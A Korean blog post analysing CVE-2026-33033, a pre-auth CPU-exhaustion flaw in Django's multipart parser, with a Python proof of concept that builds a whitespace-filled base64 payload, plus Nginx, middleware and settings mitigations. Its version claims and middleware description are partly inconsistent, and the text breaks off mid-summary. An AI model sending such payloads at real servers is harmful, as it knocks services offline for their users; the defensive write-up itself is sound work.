서론
어느 날 아침, 팀 슬랙에 장애 알림이 울렸습니다. “Django API 서버 응답 불가, CPU 100% 점유 중.” 운영팀은 트래픽 폭증이나 DDoS 공격을 의심했지만, 모니터링 대시보드에는 단 몇 개의 HTTP 요청만 찍혀 있었습니다. 단 2.5MB 크기의 정상적인 HTTP 요청처럼 보이는 패킷 하나가 서버를 1분간 완전히 마비시킨 것입니다.
이것이 바로 CVE-2026-33033의 실제 파괴력입니다.
Django의 multipartparser는 파일 업로드와 폼 데이터 처리를 담당하는 핵심 컴포넌트입니다. 이 모듈에서 content-transfer-encoding: base64로 선언된 파트의 본문이 공백 문자 위주로 구성될 경우, base64 디코딩 루틴에서 치명적인 성능 병목이 발생합니다. 인증이 필요 없는(pre-auth) 이 취약점은 공격자가 최대 20MB의 HTTP 요청 하나로 Django 서비스를 완전히 먹통으로 만들 수 있게 해줍니다.
이 취약점이 특히 위험한 이유는 공격 복잡도가 극도로 낮다는 점입니다. 특수한 도구나 기술적 전문 지식 없이도, 표준 HTTP 클라이언트만으로 공격이 가능합니다.
본론
⚠️ 윤리적 경고: 본 글에 포함된 모든 기술적 세부사항과 PoC 코드는 방어 및 보안 강화 목적으로만 작성되었습니다. 실제 운영 중인 시스템에 대한 무단 공격은 범죄행위입니다.
취약점 기술적 원리
Base64 디코딩과 공백 문자의 만남
RFC 2045에 따르면, base64 인코딩된 데이터 내의 공백 문자는 무시되어야 합니다. Django의 multipartparser는 이 규칙을 따르기 위해 공백을 건너뛰는 로직을 포함하고 있습니다. 그러나 공백 위주의 데이터가 들어올 경우, 이 로직이 역설적으로 성능 저하를 유발합니다.
1
2
3
4
5
6
7
8
| graph TD
A[공격자가 악성 HTTP 요청 전송] --> B[Django multipartparser 수신]
B --> C[Base64 파트 감지]
C --> D[공백 위주 데이터 디코딩 시작]
D --> E[공백 무시 루틴 반복 호출]
E --> F[CPU 자원 고갈]
F --> G[정상 요청 처리 불가]
G --> H[서비스 거부 상태]
|
성능 저하 메커니즘
정상적인 base64 데이터와 달리, 공백 문자가 대부분인 데이터는 디코딩 과정에서 극도로 비효율적인 처리 경로를 밟게 됩니다.
| 비교 항목 | 정상 요청 | 악성 요청 (CVE-2026-33033) | | :— | :— | :— | | 요청 크기 | 2.5MB | 2.5MB | | 파트 본문 구성 | 일반 base64 데이터 | 공백 위주 base64 데이터 | | CPU 처리 시간 | 정상 (기준값) | 약 210배 증가 | | 서버 영향 | 무시 가능 | 약 60초간 서비스 마비 | | 최대 공격 패킷 | - | 20MB | | 인증 필요 여부 | - | 불필요 (Pre-auth) | | 공격 복잡도 | - | 낮음 (Low) |
공격 시나리오 및 PoC
교육 목적: 다음 PoC 코드는 취약점 이해와 방어를 위한 학습 자료입니다.
Step-by-step 공격 재현 (로컬 테스트 환경)
Step 1: 취약한 Django 버전 확인
1
2
3
| # Django 버전 확인
python -m django --version
# 취약 버전: 4.2.x 미만 또는 패치되지 않은 5.0.x
|
Step 2: 악성 multipart 요청 생성
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| import requests
# 방어 연구용 PoC - 실제 운영 환경 테스트 금지
def generate_dos_payload(size_mb=2.5):
"""공백 위주의 base64 파트를 생성하는 함수"""
# 공백 문자를 주 내용으로 하는 페이로드
whitespace_payload = b" " * int(size_mb * 1024 * 1024)
# multipart/form-data 구성
boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"
body = (
f"------WebKitFormBoundary7MA4YWxkTrZu0gW\r
"
f'Content-Disposition: form-data; name="file"; filename="test.txt"\r
'
f"Content-Transfer-Encoding: base64\r
"
f"\r
"
).encode()
body += whitespace_payload
body += b"\r
------WebKitFormBoundary7MA4YWxkTrZu0gW--\r
"
headers = {
"Content-Type": f"multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW",
}
return headers, body
# 로컬 테스트 환경에서만 실행
# headers, body = generate_dos_payload(2.5)
# requests.post("http://localhost:8000/upload", headers=headers, data=body)
|
Step 3: CPU 사용량 모니터링
1
2
3
4
| # 다른 터미널에서 CPU 모니터링
top -p $(pgrep -d',' -f "python.*manage.py")
# 또는
htop -p $(pgrep -d',' -f "python.*manage.py")
|
Step 4: 공격 전후 CPU 비교
정상 요청 시 CPU는 순간적으로 상승했다가 빠르게 정상 수준으로 돌아옵니다. 반면, 악성 페이로드 전송 시 CPU가 지속적으로 100%에 머무르며, Django 워커 스레드가 완전히 점유됩니다.
영향 범위 분석
취약점 심각도 평가
1
2
3
4
5
6
7
8
9
| graph LR
A[공격자] --> B[단일 HTTP POST 요청]
B --> C[Django 서버]
C --> D[CPU 100% 점유]
D --> E[워커 스레드 고갈]
E --> F[정상 사용자 응답 불가]
G[인증 불필요] --> A
H[20MB 이하 패킷] --> A
|
| 평가 항목 | 세부 내용 | | :— | :— | | CVSS 추정 점수 | 7.5 (High) | | 공격 벡터 | 네트워크 (Remote) | | 공격 복잡도 | 낮음 (Low) | | 인증 필요 | 없음 (None) | | 사용자 상호작용 | 불필요 | | 영향 | 가용성 (Availability) | | 영향받는 컴포넌트 | django.http.multipartparser |
실제 위협 시나리오
- 단일 공격자: 2.5MB 요청으로 Django 워커 1개를 60초간 점유 2. 분산 공격: 여러 공격자가 동시에 요청 전송 시 모든 워커 점유 가능 3. 자동화 공격: 스크립트를 이용한 지속적 요청 전송으로 장기적 서비스 마비
완화 조치 및 대응方案
1. Django 패치 적용 (가장 권장)
1
2
3
4
5
6
| # Django를 최신 패치 버전으로 업데이트
pip install --upgrade django
# 특정 안전 버전 지정
pip install django>=4.2.11 # 패치된 버전
pip install django>=5.0.3 # 패치된 버전
|
2. 웹 서버 레벨 요청 제한 (Nginx)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| # /etc/nginx/nginx.conf 또는 사이트 설정 파일
http {
# 클라이언트 요청 본문 크기 제한
client_max_body_size 5M;
# 요청당 시간 제한
client_body_timeout 30s;
# 연결당 시간 제한
keepalive_timeout 30s;
server {
location /upload {
# 업로드 엔드포인트에 대한 추가 제한
client_max_body_size 2M;
client_body_timeout 15s;
# 요청률 제한
limit_req zone=upload burst=5 nodelay;
}
}
# 요청률 제한 영역 정의
limit_req_zone $binary_remote_addr zone=upload:10m rate=10r/m;
}
|
3. WAF 규칙 추가
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| # 커스텀 미들웨어를 통한 방어 (Django settings.py)
class MultipartSizeLimitMiddleware:
"""
Content-Transfer-Encoding: base64 파트의 비율을 검사하는 미들웨어
"""
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
content_type = request.META.get('CONTENT_TYPE', '')
if 'multipart/form-data' in content_type:
# 요청 본문 크기 확인
content_length = int(
request.META.get('CONTENT_LENGTH', 0)
)
# 5MB 이상 요청 차단
if content_length > 5 * 1024 * 1024:
from django.http import HttpResponse
return HttpResponse(
"Request too large",
status=413
)
return self.get_response(request)
# settings.py에 미들웨어 등록
MIDDLEWARE = [
# ...
'your_app.middleware.MultipartSizeLimitMiddleware',
# ...
]
|
4. Django 설정 강화
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| # settings.py
# 파일 업로드 크기 제한
FILE_UPLOAD_MAX_MEMORY_SIZE = 2 * 1024 * 1024 # 2MB
# 데이터 업로드 크기 제한
DATA_UPLOAD_MAX_MEMORY_SIZE = 2 * 1024 * 1024 # 2MB
# 요청 본문 최대 크기 제한 (Django 5.0+)
DATA_UPLOAD_MAX_SIZE = 5 * 1024 * 1024 # 5MB
# 파일 업로드 임시 디렉토리 설정
FILE_UPLOAD_TEMP_DIR = '/tmp/django_uploads'
# 업로드 핸들러 제한
FILE_UPLOAD_HANDLERS = [
'django.core.files.uploadhandler.MemoryFileUploadHandler',
'django.core.files.uploadhandler.TemporaryFileUploadHandler',
]
|
5. 모니터링 및 알림 설정
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| # 커스텀 로깅 설정으로 의심스러운 요청 탐지
import logging
import time
request_logger = logging.getLogger('django.security')
class RequestTimingMiddleware:
"""요청 처리 시간을 모니터링하는 미들웨어"""
TIMEOUT_THRESHOLD = 10 # 10초 이상 처리 시 경고
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
start_time = time.time()
response = self.get_response(request)
duration = time.time() - start_time
if duration > self.TIMEOUT_THRESHOLD:
request_logger.warning(
f"Suspicious long request: {duration:.2f}s "
f"from {request.META.get('REMOTE_ADDR')} "
f"to {request.path} "
f"[Content-Type: {request.META.get('CONTENT_TYPE', 'N/A')}]"
)
return response
|
결론
핵심 요약
CVE-2026-33033은 Django의 multipartparser가 공백 위주의 base64 데이터를 처리할 때 발생하는 CPU exhaustion 취약점입니다. 단일 HTTP 요청으로 서버 자원을 고갈시킬 수 있으며, 인증 없이도 공격이 가능해 실제 서비스 환경에 심각한 위협을 줍니다.
주요 포인트:
- 공격 패킷 크기: 최대 20MB (일반적으로 2.5MB로 충분)
- CPU 부하: 정상 대비 약 210배 증가
- 서비스 마비 시간: 요청당 약 60초
- 인증 필요성: **불필요 (Pre-auth
출처: https://news.hada.io/topic?id=28512